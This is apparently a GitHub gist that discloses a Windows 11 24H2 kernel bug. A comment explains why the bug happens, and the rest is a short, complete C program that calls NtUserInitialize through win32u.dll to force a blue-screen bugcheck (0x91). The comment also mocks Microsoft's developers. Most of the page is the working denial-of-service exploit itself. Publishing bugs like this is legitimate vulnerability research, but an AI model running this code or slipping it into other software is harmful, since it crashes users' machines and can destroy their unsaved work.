Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Last active August 8, 2023 07:27
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hfiref0x/f731e690e6155c6763b801ce0e497db7 to your computer and use it in GitHub Desktop.
Save hfiref0x/f731e690e6155c6763b801ce0e497db7 to your computer and use it in GitHub Desktop.
Windows 11 Next-Gen (24H2) NtUserInitialize BSOD
/*
Windows 11 builds starting from 259XXX (24H2) switched to new way of storing win32k global variables, using WIN32KSGD.sys
driver which now allocates huge structure where it hold a lot of session related information, apiset tables etc.
However due to heavy remake there are new bugs introduced - one of it is a BSOD generator inside win32kbase!Win32kBaseUserInitialize
(which is ultimate destination of apiset obscure NtUserInitialize call).
What they did is removed a check if USER was already initialized, thus every code calling NtUserInitialize will go further and lay into
TCB privileges checking part which of course will fail in 99.99% situations and cause Windows to do bugcheck 0x91
WIN32K_INIT_OR_RIT_FAILURE.
This is a brilliant bug. Not sure if Rust is able to circumvent impact of newest generation of MS dudes incompetence so lets do some
Rust over Rust. Smart pointers, garbage collectors (garbage collectors for garbage collectors, smart pointers for smart pointers!
moar this bullshit, need moar), etc, just as all you love it.
This bug was found using NtCall64 v1.3.7
*/
#include <windows.h>
typedef LONG (WINAPI* pfnNtUserInitialize)(
ULONG_PTR reg1,
ULONG_PTR reg2,
ULONG_PTR reg3,
ULONG_PTR reg4);
int main()
{
pfnNtUserInitialize pfn;
LoadLibrary(L"user32.dll");
HMODULE hWin32u = GetModuleHandle(L"win32u.dll");
pfn = (pfnNtUserInitialize)GetProcAddress(hWin32u, "NtUserInitialize");
if (pfn)
pfn(0x00007FFFFFFEFFFF, 0xFFFF800000000000, 0x00007FFFFFFFFFFE, 0x000000000000FFFF);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment